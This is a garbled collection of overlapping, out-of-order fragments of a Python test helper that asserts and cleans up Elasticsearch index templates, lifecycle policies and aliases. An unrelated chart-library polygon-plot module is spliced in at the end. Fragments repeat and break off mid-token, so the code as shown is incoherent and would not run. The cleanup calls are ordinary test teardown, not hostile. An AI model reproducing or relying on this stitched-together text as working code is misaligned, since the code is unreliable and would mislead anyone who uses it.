assert_index_template_index_pattern(self, template, index_pattern): resp", "IdxMgmt(unittest.TestCase): def __init__(self, client, index): self._client = client self._index =", "== policy assert resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"rollover_alias\"] == alias def assert_index_template_index_pattern(self, template, index_pattern):", "self.needs_init(index): index = self._index try: self._client.transport.perform_request('DELETE', \"/\" + index +", "'']) if not indices: indices == [self._index] for i in", "def delete_policy(self, policy): # Delete any existing policy starting with", "and index != '*' else 'mockbeat' def needs_init(self, s): return", "== alias def assert_index_template_index_pattern(self, template, index_pattern): resp = self._client.transport.perform_request('GET', '/_template/'", "def assert_alias_created(self, alias, pattern=None): if pattern is None: pattern =", "+ p) except NotFoundError: pass def assert_index_template_not_loaded(self, template): with pytest.raises(NotFoundError):", "alias, pattern=None): if pattern is None: pattern = self.default_pattern() return", "None: pattern = self.default_pattern() name = alias + \"-\" +", "+ \"-\" + pattern resp = self._client.transport.perform_request('GET', '/_alias/' + alias)", "all documents are available # through the _search API. self._client.transport.perform_request('POST',", "\"30d\" def assert_docs_written_to_alias(self, alias, pattern=None): # Refresh the indices to", "template, index_pattern): resp = self._client.transport.perform_request('GET', '/_template/' + template) assert template", "existing policy starting with given policy policies = self._client.transport.perform_request('GET', \"/_ilm/policy\")", "the indices to guarantee all documents are available # through", "0) def default_pattern(self): d = datetime.datetime.now().strftime(\"%Y.%m.%d\") return d + \"-000001\"", "s == '' or s == '*' def delete(self, indices=[],", "template) assert resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"name\"] == policy assert resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"rollover_alias\"] == alias def", "for p, _ in policies.items(): if not p.startswith(policy): continue try:", "indices == [self._index] for i in indices: self.delete_index_and_alias(i) self.delete_template(template=i) for", "resp[template][\"settings\"][\"index\"] def assert_ilm_template_loaded(self, template, policy, alias): resp = self._client.transport.perform_request('GET', '/_template/'", "not in resp[template][\"settings\"][\"index\"] def assert_ilm_template_loaded(self, template, policy, alias): resp =", "import pytest from elasticsearch import NotFoundError class IdxMgmt(unittest.TestCase): def __init__(self,", "assert_ilm_template_loaded(self, template, policy, alias): resp = self._client.transport.perform_request('GET', '/_template/' + template)", "resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_age\"] == \"30d\" def assert_docs_written_to_alias(self, alias, pattern=None): # Refresh the", "policies if x != '']: self.delete_policy(i) def delete_index_and_alias(self, index=\"\"): if", "resp = self._client.transport.perform_request('GET', '/_ilm/policy/' + policy) assert policy in resp", "except NotFoundError: pass def delete_policy(self, policy): # Delete any existing", "if not indices: indices == [self._index] for i in indices:", "self._index = index if index != '' and index !=", "'' and index != '*' else 'mockbeat' def needs_init(self, s):", "+ template) assert template in resp assert \"lifecycle\" not in", "self._client.transport.perform_request('DELETE', \"/\" + index + \"*\") except NotFoundError: pass def", "def index_for(self, alias, pattern=None): if pattern is None: pattern =", "self.assertGreater(data[\"hits\"][\"total\"][\"value\"], 0) def default_pattern(self): d = datetime.datetime.now().strftime(\"%Y.%m.%d\") return d +", "policy in resp assert resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_size\"] == \"50gb\" assert resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_age\"] ==", "= self._index try: self._client.transport.perform_request('DELETE', \"/_template/\" + template + \"*\") except", "resp = self._client.transport.perform_request('GET', '/_alias/' + alias) assert name in resp", "entry[\"aliases\"] == {}, entry[\"aliases\"] def assert_alias_created(self, alias, pattern=None): if pattern", "if pattern is None: pattern = self.default_pattern() return \"{}-{}\".format(alias, pattern)", "or s == '*' def delete(self, indices=[], policies=[]): indices =", "in indices if x != '']) if not indices: indices", "self._client.transport.perform_request('GET', '/_template/' + template) assert resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"name\"] == policy assert resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"rollover_alias\"]", "the _search API. self._client.transport.perform_request('POST', '/_refresh') if pattern is None: pattern", "{}, entry[\"aliases\"] def assert_alias_created(self, alias, pattern=None): if pattern is None:", "alias def assert_index_template_index_pattern(self, template, index_pattern): resp = self._client.transport.perform_request('GET', '/_template/' +", "pattern=None): if pattern is None: pattern = self.default_pattern() name =", "+ template + \"*\") except NotFoundError: pass def delete_policy(self, policy):", "NotFoundError: pass def delete_template(self, template=\"\"): if self.needs_init(template): template = self._index", "'/_alias/' + alias) assert name in resp assert resp[name][\"aliases\"][alias][\"is_write_index\"] ==", "for name, entry in resp.items(): if alias not in name:", "delete(self, indices=[], policies=[]): indices = list([x for x in indices", "import datetime import unittest import pytest from elasticsearch import NotFoundError", "'/_template/' + template) def assert_index_template_loaded(self, template): resp = self._client.transport.perform_request('GET', '/_template/'", "in policies.items(): if not p.startswith(policy): continue try: self._client.transport.perform_request('DELETE', \"/_ilm/policy/\" +", "== index_pattern def assert_alias_not_created(self, alias): resp = self._client.transport.perform_request('GET', '/_alias') for", "+ template) assert template in resp assert resp[template][\"index_patterns\"] == index_pattern", "client self._index = index if index != '' and index", "\"-\" + pattern data = self._client.transport.perform_request('GET', '/' + name +", "[x for x in policies if x != '']: self.delete_policy(i)", "alias): resp = self._client.transport.perform_request('GET', '/_template/' + template) assert resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"name\"] ==", "default_pattern(self): d = datetime.datetime.now().strftime(\"%Y.%m.%d\") return d + \"-000001\" def index_for(self,", "'/' + name + '/_search') self.assertGreater(data[\"hits\"][\"total\"][\"value\"], 0) def default_pattern(self): d", "= alias + \"-\" + pattern resp = self._client.transport.perform_request('GET', '/_alias/'", "entry[\"aliases\"] def assert_alias_created(self, alias, pattern=None): if pattern is None: pattern", "indices: indices == [self._index] for i in indices: self.delete_index_and_alias(i) self.delete_template(template=i)", "API. self._client.transport.perform_request('POST', '/_refresh') if pattern is None: pattern = self.default_pattern()", "self._client.transport.perform_request('POST', '/_refresh') if pattern is None: pattern = self.default_pattern() name", "assert_policy_created(self, policy): resp = self._client.transport.perform_request('GET', '/_ilm/policy/' + policy) assert policy", "name, entry in resp.items(): if alias not in name: continue", "== \"50gb\" assert resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_age\"] == \"30d\" def assert_docs_written_to_alias(self, alias, pattern=None):", "self.delete_template(template=i) for i in [x for x in policies if", "continue assert entry[\"aliases\"] == {}, entry[\"aliases\"] def assert_alias_created(self, alias, pattern=None):", "delete_policy(self, policy): # Delete any existing policy starting with given", "'']: self.delete_policy(i) def delete_index_and_alias(self, index=\"\"): if self.needs_init(index): index = self._index", "'*' def delete(self, indices=[], policies=[]): indices = list([x for x", "def assert_alias_not_created(self, alias): resp = self._client.transport.perform_request('GET', '/_alias') for name, entry", "Delete any existing policy starting with given policy policies =", "== {}, entry[\"aliases\"] def assert_alias_created(self, alias, pattern=None): if pattern is", "self._client.transport.perform_request('GET', \"/_ilm/policy\") for p, _ in policies.items(): if not p.startswith(policy):", "self.delete_policy(i) def delete_index_and_alias(self, index=\"\"): if self.needs_init(index): index = self._index try:", "__init__(self, client, index): self._client = client self._index = index if", "resp assert resp[name][\"aliases\"][alias][\"is_write_index\"] == True def assert_policy_not_created(self, policy): with pytest.raises(NotFoundError):", "in resp.items(): if alias not in name: continue assert entry[\"aliases\"]", "self.default_pattern() name = alias + \"-\" + pattern resp =", "if self.needs_init(template): template = self._index try: self._client.transport.perform_request('DELETE', \"/_template/\" + template", "for i in [x for x in policies if x", "'/_search') self.assertGreater(data[\"hits\"][\"total\"][\"value\"], 0) def default_pattern(self): d = datetime.datetime.now().strftime(\"%Y.%m.%d\") return d", "def __init__(self, client, index): self._client = client self._index = index", "\"lifecycle\" not in resp[template][\"settings\"][\"index\"] def assert_ilm_template_loaded(self, template, policy, alias): resp", "policy): resp = self._client.transport.perform_request('GET', '/_ilm/policy/' + policy) assert policy in", "= self._index try: self._client.transport.perform_request('DELETE', \"/\" + index + \"*\") except", "if x != '']) if not indices: indices == [self._index]", "self._client.transport.perform_request('GET', '/_alias') for name, entry in resp.items(): if alias not", "p) except NotFoundError: pass def assert_index_template_not_loaded(self, template): with pytest.raises(NotFoundError): self._client.transport.perform_request('GET',", "in resp assert resp[name][\"aliases\"][alias][\"is_write_index\"] == True def assert_policy_not_created(self, policy): with", "\"-\" + pattern resp = self._client.transport.perform_request('GET', '/_alias/' + alias) assert", "+ policy) assert policy in resp assert resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_size\"] == \"50gb\"", "pytest.raises(NotFoundError): self._client.transport.perform_request('GET', '/_template/' + template) def assert_index_template_loaded(self, template): resp =", "policy): with pytest.raises(NotFoundError): self._client.transport.perform_request('GET', '/_ilm/policy/' + policy) def assert_policy_created(self, policy):", "= datetime.datetime.now().strftime(\"%Y.%m.%d\") return d + \"-000001\" def index_for(self, alias, pattern=None):", "pattern data = self._client.transport.perform_request('GET', '/' + name + '/_search') self.assertGreater(data[\"hits\"][\"total\"][\"value\"],", "not p.startswith(policy): continue try: self._client.transport.perform_request('DELETE', \"/_ilm/policy/\" + p) except NotFoundError:", "+ \"*\") except NotFoundError: pass def delete_template(self, template=\"\"): if self.needs_init(template):", "through the _search API. self._client.transport.perform_request('POST', '/_refresh') if pattern is None:", "'/_template/' + template) assert template in resp assert resp[template][\"index_patterns\"] ==", "self._client.transport.perform_request('GET', '/_template/' + template) assert template in resp assert \"lifecycle\"", "try: self._client.transport.perform_request('DELETE', \"/\" + index + \"*\") except NotFoundError: pass", "def assert_policy_not_created(self, policy): with pytest.raises(NotFoundError): self._client.transport.perform_request('GET', '/_ilm/policy/' + policy) def", "resp = self._client.transport.perform_request('GET', '/_template/' + template) assert resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"name\"] == policy", "name = alias + \"-\" + pattern resp = self._client.transport.perform_request('GET',", "self.needs_init(template): template = self._index try: self._client.transport.perform_request('DELETE', \"/_template/\" + template +", "resp[template][\"index_patterns\"] == index_pattern def assert_alias_not_created(self, alias): resp = self._client.transport.perform_request('GET', '/_alias')", "in resp assert \"lifecycle\" not in resp[template][\"settings\"][\"index\"] def assert_ilm_template_loaded(self, template,", "in resp[template][\"settings\"][\"index\"] def assert_ilm_template_loaded(self, template, policy, alias): resp = self._client.transport.perform_request('GET',", "assert resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"name\"] == policy assert resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"rollover_alias\"] == alias def assert_index_template_index_pattern(self,", "+ index + \"*\") except NotFoundError: pass def delete_template(self, template=\"\"):", "resp[name][\"aliases\"][alias][\"is_write_index\"] == True def assert_policy_not_created(self, policy): with pytest.raises(NotFoundError): self._client.transport.perform_request('GET', '/_ilm/policy/'", "self._client.transport.perform_request('GET', '/_template/' + template) assert template in resp assert resp[template][\"index_patterns\"]", "assert_alias_created(self, alias, pattern=None): if pattern is None: pattern = self.default_pattern()", "template, policy, alias): resp = self._client.transport.perform_request('GET', '/_template/' + template) assert", "pattern is None: pattern = self.default_pattern() name = alias +", "else 'mockbeat' def needs_init(self, s): return s == '' or", "\"/\" + index + \"*\") except NotFoundError: pass def delete_template(self,", "index_pattern): resp = self._client.transport.perform_request('GET', '/_template/' + template) assert template in", "# Refresh the indices to guarantee all documents are available", "!= '' and index != '*' else 'mockbeat' def needs_init(self,", "try: self._client.transport.perform_request('DELETE', \"/_ilm/policy/\" + p) except NotFoundError: pass def assert_index_template_not_loaded(self,", "\"*\") except NotFoundError: pass def delete_policy(self, policy): # Delete any", "delete_template(self, template=\"\"): if self.needs_init(template): template = self._index try: self._client.transport.perform_request('DELETE', \"/_template/\"", "assert resp[name][\"aliases\"][alias][\"is_write_index\"] == True def assert_policy_not_created(self, policy): with pytest.raises(NotFoundError): self._client.transport.perform_request('GET',", "policies.items(): if not p.startswith(policy): continue try: self._client.transport.perform_request('DELETE', \"/_ilm/policy/\" + p)", "in name: continue assert entry[\"aliases\"] == {}, entry[\"aliases\"] def assert_alias_created(self,", "policy starting with given policy policies = self._client.transport.perform_request('GET', \"/_ilm/policy\") for", "= self._client.transport.perform_request('GET', \"/_ilm/policy\") for p, _ in policies.items(): if not", "index = self._index try: self._client.transport.perform_request('DELETE', \"/\" + index + \"*\")", "index + \"*\") except NotFoundError: pass def delete_template(self, template=\"\"): if", "pass def delete_template(self, template=\"\"): if self.needs_init(template): template = self._index try:", "pytest.raises(NotFoundError): self._client.transport.perform_request('GET', '/_ilm/policy/' + policy) def assert_policy_created(self, policy): resp =", "[self._index] for i in indices: self.delete_index_and_alias(i) self.delete_template(template=i) for i in", "resp assert \"lifecycle\" not in resp[template][\"settings\"][\"index\"] def assert_ilm_template_loaded(self, template, policy,", "_search API. self._client.transport.perform_request('POST', '/_refresh') if pattern is None: pattern =", "assert resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"rollover_alias\"] == alias def assert_index_template_index_pattern(self, template, index_pattern): resp =", "self.delete_index_and_alias(i) self.delete_template(template=i) for i in [x for x in policies", "Refresh the indices to guarantee all documents are available #", "'/_template/' + template) assert resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"name\"] == policy assert resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"rollover_alias\"] ==", "'*' else 'mockbeat' def needs_init(self, s): return s == ''", "in resp assert resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_size\"] == \"50gb\" assert resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_age\"] == \"30d\"", "self._client.transport.perform_request('GET', '/_ilm/policy/' + policy) def assert_policy_created(self, policy): resp = self._client.transport.perform_request('GET',", "'/_refresh') if pattern is None: pattern = self.default_pattern() name =", "_ in policies.items(): if not p.startswith(policy): continue try: self._client.transport.perform_request('DELETE', \"/_ilm/policy/\"", "self._client.transport.perform_request('GET', '/_template/' + template) def assert_index_template_loaded(self, template): resp = self._client.transport.perform_request('GET',", "resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"name\"] == policy assert resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"rollover_alias\"] == alias def assert_index_template_index_pattern(self, template,", "x != '']: self.delete_policy(i) def delete_index_and_alias(self, index=\"\"): if self.needs_init(index): index", "self._index try: self._client.transport.perform_request('DELETE', \"/_template/\" + template + \"*\") except NotFoundError:", "policy): # Delete any existing policy starting with given policy", "indices = list([x for x in indices if x !=", "index != '*' else 'mockbeat' def needs_init(self, s): return s", "+ pattern data = self._client.transport.perform_request('GET', '/' + name + '/_search')", "return s == '' or s == '*' def delete(self,", "is None: pattern = self.default_pattern() name = alias + \"-\"", "if alias not in name: continue assert entry[\"aliases\"] == {},", "pattern=None): if pattern is None: pattern = self.default_pattern() return \"{}-{}\".format(alias,", "self._client.transport.perform_request('GET', '/' + name + '/_search') self.assertGreater(data[\"hits\"][\"total\"][\"value\"], 0) def default_pattern(self):", "def needs_init(self, s): return s == '' or s ==", "assert policy in resp assert resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_size\"] == \"50gb\" assert resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_age\"]", "if self.needs_init(index): index = self._index try: self._client.transport.perform_request('DELETE', \"/\" + index", "alias + \"-\" + pattern data = self._client.transport.perform_request('GET', '/' +", "self._client.transport.perform_request('DELETE', \"/_ilm/policy/\" + p) except NotFoundError: pass def assert_index_template_not_loaded(self, template):", "+ \"*\") except NotFoundError: pass def delete_policy(self, policy): # Delete", "template = self._index try: self._client.transport.perform_request('DELETE', \"/_template/\" + template + \"*\")", "== True def assert_policy_not_created(self, policy): with pytest.raises(NotFoundError): self._client.transport.perform_request('GET', '/_ilm/policy/' +", "template) assert template in resp assert resp[template][\"index_patterns\"] == index_pattern def", "if pattern is None: pattern = self.default_pattern() name = alias", "resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_size\"] == \"50gb\" assert resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_age\"] == \"30d\" def assert_docs_written_to_alias(self, alias,", "entry in resp.items(): if alias not in name: continue assert", "in indices: self.delete_index_and_alias(i) self.delete_template(template=i) for i in [x for x", "template) def assert_index_template_loaded(self, template): resp = self._client.transport.perform_request('GET', '/_template/' + template)", "are available # through the _search API. self._client.transport.perform_request('POST', '/_refresh') if", "resp = self._client.transport.perform_request('GET', '/_template/' + template) assert template in resp", "indices: self.delete_index_and_alias(i) self.delete_template(template=i) for i in [x for x in", "name: continue assert entry[\"aliases\"] == {}, entry[\"aliases\"] def assert_alias_created(self, alias,", "template=\"\"): if self.needs_init(template): template = self._index try: self._client.transport.perform_request('DELETE', \"/_template/\" +", "assert name in resp assert resp[name][\"aliases\"][alias][\"is_write_index\"] == True def assert_policy_not_created(self,", "+ pattern resp = self._client.transport.perform_request('GET', '/_alias/' + alias) assert name", "d = datetime.datetime.now().strftime(\"%Y.%m.%d\") return d + \"-000001\" def index_for(self, alias,", "def delete(self, indices=[], policies=[]): indices = list([x for x in", "policy, alias): resp = self._client.transport.perform_request('GET', '/_template/' + template) assert resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"name\"]", "assert resp[template][\"index_patterns\"] == index_pattern def assert_alias_not_created(self, alias): resp = self._client.transport.perform_request('GET',", "policy policies = self._client.transport.perform_request('GET', \"/_ilm/policy\") for p, _ in policies.items():", "for x in policies if x != '']: self.delete_policy(i) def", "documents are available # through the _search API. self._client.transport.perform_request('POST', '/_refresh')", "== [self._index] for i in indices: self.delete_index_and_alias(i) self.delete_template(template=i) for i", "resp assert resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_size\"] == \"50gb\" assert resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_age\"] == \"30d\" def", "policies=[]): indices = list([x for x in indices if x", "resp.items(): if alias not in name: continue assert entry[\"aliases\"] ==", "= self._client.transport.perform_request('GET', '/_template/' + template) assert template in resp assert", "i in [x for x in policies if x !=", "= list([x for x in indices if x != ''])", "alias) assert name in resp assert resp[name][\"aliases\"][alias][\"is_write_index\"] == True def", "!= '*' else 'mockbeat' def needs_init(self, s): return s ==", "\"*\") except NotFoundError: pass def delete_template(self, template=\"\"): if self.needs_init(template): template", "if not p.startswith(policy): continue try: self._client.transport.perform_request('DELETE', \"/_ilm/policy/\" + p) except", "delete_index_and_alias(self, index=\"\"): if self.needs_init(index): index = self._index try: self._client.transport.perform_request('DELETE', \"/\"", "any existing policy starting with given policy policies = self._client.transport.perform_request('GET',", "if index != '' and index != '*' else 'mockbeat'", "except NotFoundError: pass def assert_index_template_not_loaded(self, template): with pytest.raises(NotFoundError): self._client.transport.perform_request('GET', '/_template/'", "def assert_index_template_not_loaded(self, template): with pytest.raises(NotFoundError): self._client.transport.perform_request('GET', '/_template/' + template) def", "self._client.transport.perform_request('GET', '/_ilm/policy/' + policy) assert policy in resp assert resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_size\"]", "# through the _search API. self._client.transport.perform_request('POST', '/_refresh') if pattern is", "def delete_index_and_alias(self, index=\"\"): if self.needs_init(index): index = self._index try: self._client.transport.perform_request('DELETE',", "alias, pattern=None): if pattern is None: pattern = self.default_pattern() name", "== '*' def delete(self, indices=[], policies=[]): indices = list([x for", "for x in indices if x != '']) if not", "assert template in resp assert \"lifecycle\" not in resp[template][\"settings\"][\"index\"] def", "needs_init(self, s): return s == '' or s == '*'", "!= '']: self.delete_policy(i) def delete_index_and_alias(self, index=\"\"): if self.needs_init(index): index =", "= index if index != '' and index != '*'", "assert \"lifecycle\" not in resp[template][\"settings\"][\"index\"] def assert_ilm_template_loaded(self, template, policy, alias):", "s == '*' def delete(self, indices=[], policies=[]): indices = list([x", "available # through the _search API. self._client.transport.perform_request('POST', '/_refresh') if pattern", "return d + \"-000001\" def index_for(self, alias, pattern=None): if pattern", "resp = self._client.transport.perform_request('GET', '/_alias') for name, entry in resp.items(): if", "assert_index_template_index_pattern(self, template, index_pattern): resp = self._client.transport.perform_request('GET', '/_template/' + template) assert", "index_pattern def assert_alias_not_created(self, alias): resp = self._client.transport.perform_request('GET', '/_alias') for name,", "with pytest.raises(NotFoundError): self._client.transport.perform_request('GET', '/_ilm/policy/' + policy) def assert_policy_created(self, policy): resp", "+ policy) def assert_policy_created(self, policy): resp = self._client.transport.perform_request('GET', '/_ilm/policy/' +", "assert template in resp assert resp[template][\"index_patterns\"] == index_pattern def assert_alias_not_created(self,", "import unittest import pytest from elasticsearch import NotFoundError class IdxMgmt(unittest.TestCase):", "'' or s == '*' def delete(self, indices=[], policies=[]): indices", "+ \"-\" + pattern data = self._client.transport.perform_request('GET', '/' + name", "for i in indices: self.delete_index_and_alias(i) self.delete_template(template=i) for i in [x", "== '' or s == '*' def delete(self, indices=[], policies=[]):", "template + \"*\") except NotFoundError: pass def delete_policy(self, policy): #", "pytest from elasticsearch import NotFoundError class IdxMgmt(unittest.TestCase): def __init__(self, client,", "pattern=None): # Refresh the indices to guarantee all documents are", "i in indices: self.delete_index_and_alias(i) self.delete_template(template=i) for i in [x for", "pass def assert_index_template_not_loaded(self, template): with pytest.raises(NotFoundError): self._client.transport.perform_request('GET', '/_template/' + template)", "p.startswith(policy): continue try: self._client.transport.perform_request('DELETE', \"/_ilm/policy/\" + p) except NotFoundError: pass", "from elasticsearch import NotFoundError class IdxMgmt(unittest.TestCase): def __init__(self, client, index):", "x != '']) if not indices: indices == [self._index] for", "= self.default_pattern() name = alias + \"-\" + pattern data", "template in resp assert \"lifecycle\" not in resp[template][\"settings\"][\"index\"] def assert_ilm_template_loaded(self,", "alias, pattern=None): # Refresh the indices to guarantee all documents", "d + \"-000001\" def index_for(self, alias, pattern=None): if pattern is", "x in indices if x != '']) if not indices:", "index if index != '' and index != '*' else", "alias + \"-\" + pattern resp = self._client.transport.perform_request('GET', '/_alias/' +", "= self._client.transport.perform_request('GET', '/_alias') for name, entry in resp.items(): if alias", "to guarantee all documents are available # through the _search", "index): self._client = client self._index = index if index !=", "datetime import unittest import pytest from elasticsearch import NotFoundError class", "NotFoundError: pass def assert_index_template_not_loaded(self, template): with pytest.raises(NotFoundError): self._client.transport.perform_request('GET', '/_template/' +", "True def assert_policy_not_created(self, policy): with pytest.raises(NotFoundError): self._client.transport.perform_request('GET', '/_ilm/policy/' + policy)", "name + '/_search') self.assertGreater(data[\"hits\"][\"total\"][\"value\"], 0) def default_pattern(self): d = datetime.datetime.now().strftime(\"%Y.%m.%d\")", "\"/_template/\" + template + \"*\") except NotFoundError: pass def delete_policy(self,", "not in name: continue assert entry[\"aliases\"] == {}, entry[\"aliases\"] def", "policy) assert policy in resp assert resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_size\"] == \"50gb\" assert", "with pytest.raises(NotFoundError): self._client.transport.perform_request('GET', '/_template/' + template) def assert_index_template_loaded(self, template): resp", "in [x for x in policies if x != '']:", "'/_ilm/policy/' + policy) assert policy in resp assert resp[policy][\"policy\"][\"phases\"][\"hot\"][\"actions\"][\"rollover\"][\"max_size\"] ==", "NotFoundError class IdxMgmt(unittest.TestCase): def __init__(self, client, index): self._client = client", "indices if x != '']) if not indices: indices ==", "assert_alias_not_created(self, alias): resp = self._client.transport.perform_request('GET', '/_alias') for name, entry in", "p, _ in policies.items(): if not p.startswith(policy): continue try: self._client.transport.perform_request('DELETE',", "= client self._index = index if index != '' and", "not indices: indices == [self._index] for i in indices: self.delete_index_and_alias(i)", "index_for(self, alias, pattern=None): if pattern is None: pattern = self.default_pattern()", "self.default_pattern() name = alias + \"-\" + pattern data =", "+ \"-000001\" def index_for(self, alias, pattern=None): if pattern is None:", "import NotFoundError class IdxMgmt(unittest.TestCase): def __init__(self, client, index): self._client =", "== \"30d\" def assert_docs_written_to_alias(self, alias, pattern=None): # Refresh the indices", "+ template) assert resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"name\"] == policy assert resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"rollover_alias\"] == alias", "guarantee all documents are available # through the _search API.", "assert_index_template_not_loaded(self, template): with pytest.raises(NotFoundError): self._client.transport.perform_request('GET', '/_template/' + template) def assert_index_template_loaded(self,", "'mockbeat' def needs_init(self, s): return s == '' or s", "list([x for x in indices if x != '']) if", "policy) def assert_policy_created(self, policy): resp = self._client.transport.perform_request('GET', '/_ilm/policy/' + policy)", "resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"rollover_alias\"] == alias def assert_index_template_index_pattern(self, template, index_pattern): resp = self._client.transport.perform_request('GET',", "if x != '']: self.delete_policy(i) def delete_index_and_alias(self, index=\"\"): if self.needs_init(index):", "assert entry[\"aliases\"] == {}, entry[\"aliases\"] def assert_alias_created(self, alias, pattern=None): if", "s): return s == '' or s == '*' def", "pattern resp = self._client.transport.perform_request('GET', '/_alias/' + alias) assert name in", "except NotFoundError: pass def delete_template(self, template=\"\"): if self.needs_init(template): template =", "= self._client.transport.perform_request('GET', '/_template/' + template) assert resp[template][\"settings\"][\"index\"][\"lifecycle\"][\"name\"] == policy assert", "+ '/_search') self.assertGreater(data[\"hits\"][\"total\"][\"value\"], 0) def default_pattern(self): d = datetime.datetime.now().strftime(\"%Y.%m.%d\") return", "try: self._client.transport.perform_request('DELETE', \"/_template/\" + template + \"*\") except NotFoundError: pass", "# Delete any existing policy starting with given policy policies", "name in resp assert resp[name][\"aliases\"][alias][\"is_write_index\"] == True def assert_policy_not_created(self, policy):", "elasticsearch import NotFoundError class IdxMgmt(unittest.TestCase): def __init__(self, client, index): self._client", "'/_alias') for name, entry in resp.items(): if alias not in", "with given policy policies = self._client.transport.perform_request('GET', \"/_ilm/policy\") for p, _", "def assert_policy_created(self, policy): resp = self._client.transport.perform_request('GET', '/_ilm/policy/' + policy) assert", "self._client.transport.perform_request('GET', '/_alias/' + alias) assert name in resp assert resp[name][\"aliases\"][alias][\"is_write_index\"]", "x in policies if x != '']: self.delete_policy(i) def delete_index_and_alias(self,", "<filename>libbeat/tests/system/idxmgmt.py<gh_stars>1-10 import datetime import unittest import pytest from elasticsearch import", "template) assert template in resp assert \"lifecycle\" not in resp[template][\"settings\"][\"index\"]", "continue try: self._client.transport.perform_request('DELETE', \"/_ilm/policy/\" + p) except NotFoundError: pass def", "in resp assert resp[template][\"index_patterns\"] == index_pattern def assert_alias_not_created(self, alias): resp", "\"-000001\" def index_for(self, alias, pattern=None): if pattern is None: pattern", "\"/_ilm/policy\") for p, _ in policies.items(): if not p.startswith(policy): continue" ]
[ "\"\"\" Collects the data points that are within the bounds", "need to reproduce the first point as the last point.", "self.width, self.height) gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width) gc.set_line_dash(self.edge_style_) gc.set_fill_color(self.effective_face_color) gc.lines(points) gc.close_path() gc.draw_path() def", "array of screen-space points as a polygon. \"\"\" with gc:", "an Nx2 array of screen-space points as a polygon. \"\"\"", "and value mappers are linear mappers, and that \"index\" corresponds", "the polygon, and False otherwise. \"\"\" if self.hittest_type in (\"line\",", "True def _render(self, gc, points): \"\"\" Renders an Nx2 array", "the face. It is always a tuple of length 4.", "4: face_alpha = self.face_color_[-1] else: face_alpha = 1.0 c =", "from traits.api import Enum, Float, Tuple, Property, cached_property, \\ on_trait_change", "curved in a nonlinear screen-space; however, the drawing still contains", "is inside the polygon, and False otherwise. \"\"\" if self.hittest_type", "The RGBA tuple for rendering the face. It is always", "self._cached_data_pts = [] self._cache_valid = True return points = np.transpose(np.array((index,value)))", "\"value\" corresponds to Y-coordinates, the points are arranged in a", "interface #---------------------------------------------------------------------- def _gather_points(self): \"\"\" Collects the data points that", "len(value): self._cached_data_pts = [] self._cache_valid = True return points =", "= self.edge_color_[-1] else: edge_alpha = 1.0 c = self.edge_color_[:3] +", "nonlinear screen-space; however, the drawing still contains straight lines in", "threshold, return_distance) data_pt = self.map_data(screen_pt, all_values=True) index = self.index.get_data() value", "style for the edge of the polygon. edge_style = LineStyle", "== 0 or len(index) != len(value): self._cached_data_pts = [] self._cache_valid", "try to do this by setting **edge_width** to 0. In", "edge of the polygon. edge_color = black_color_trait # The thickness", "returns True if the given point is inside the polygon,", "alpha value of self.edge_color multiplied by self.alpha. effective_edge_color = Property(Tuple,", "index = self.index.get_data() value = self.value.get_data() if not self.index or", "def _render(self, gc, points): \"\"\" Renders an Nx2 array of", "transparent_color_trait # Override the hittest_type trait inherited from BaseXYPlot hittest_type", "don't want the edge of the polygon to be drawn,", "0 means to make the line as small as possible", "len(self.edge_color_) == 4: edge_alpha = self.edge_color_[-1] else: edge_alpha = 1.0", "PolygonPlot class. \"\"\" from __future__ import with_statement # Major library", "Enthought library imports. from enable.api import LineStyle, black_color_trait, \\ transparent_color_trait", "BaseXYPlot.hittest(self, screen_pt, threshold, return_distance) data_pt = self.map_data(screen_pt, all_values=True) index =", "Property(Tuple, depends_on=['face_color', 'alpha']) #---------------------------------------------------------------------- # Private 'BaseXYPlot' interface #---------------------------------------------------------------------- def", "class PolygonPlot(BaseXYPlot): \"\"\" Plots a polygon in dataspace. Assuming that", "== 0 or len(value) == 0 or len(index) != len(value):", "points_in_polygon from traits.api import Enum, Float, Tuple, Property, cached_property, \\", "hittest_type trait inherited from BaseXYPlot hittest_type = Enum(\"poly\", \"point\", \"line\")", "1.0 c = self.edge_color_[:3] + (edge_alpha * self.alpha,) return c", "the given point is inside the polygon, and False otherwise.", "True else: return False #------------------------------------------------------------------------ # Event handlers #------------------------------------------------------------------------ @on_trait_change('edge_color,", "'alpha']) # The RGBA tuple for rendering the face. It", "edge_alpha = 1.0 c = 